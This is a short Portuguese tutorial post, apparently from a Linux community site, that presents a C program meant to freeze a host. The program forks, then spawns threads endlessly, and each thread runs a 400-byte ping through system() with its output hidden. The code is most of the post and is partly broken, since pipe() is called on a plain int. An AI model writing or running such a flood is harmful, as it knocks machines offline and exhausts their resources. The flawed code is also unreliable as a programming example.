Vários pacotes de ping disparados contra o host
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 6.723 ]
Homepage: http://prginfo.blogspot.com
O host responderá a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.
Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término. O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.
/* progacao4.c */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
void ping(char *host); /* para usar a função na
thread o cabeçalho da função deve estar declarado
*/
acao()
{
int return_thread;
pthread_t thread;
while (1)
{
return_thread=pthread_create (&thread, NULL,
(void *)ping,"ping -s 400 127.0.0.1"); /* criando
a thread */
usleep (10); /* já explicado no exemplo 2
*/
}
}
main () /* o main já foi esplicado no exemplo 1 */
{
int i;
i=fork();
if (i==0)
acao();
}
void ping (char *host)
{
int desc;
close(1);
pipe (desc); /* o pipe já foi esplicado no
exemplo 1 */
system (host); /* executa um comando do sistema
(ping, ls, rm, mv etc.) */
}
Como Ativar a Aceleração por GPU (ROCm) no Ollama para AMD Navi 10 (RX 5700 XT / 5600) no Gentoo
Como criar um make.conf no Gentoo (para iniciantes)
Como instalar o Open WebUI para Ollama no Gentoo (com systemd)
INSTALAR (e jogar) COUNTER STRIKE 1.6 (install cs 1.6) NO LINUX
Removendo o bloqueio por erros de senha no Gentoo (systemd)
Papel de Parede Animado no KDE Plasma 6 (Com dicas para Gentoo)
Homebrew: o gerenciador de pacotes que faltava para o Linux!
Removendo a trava de versão do Project Brutality para GZDoom/UZDoom
Acelere a compilação no Gentoo com distcc (guia para Systemd)









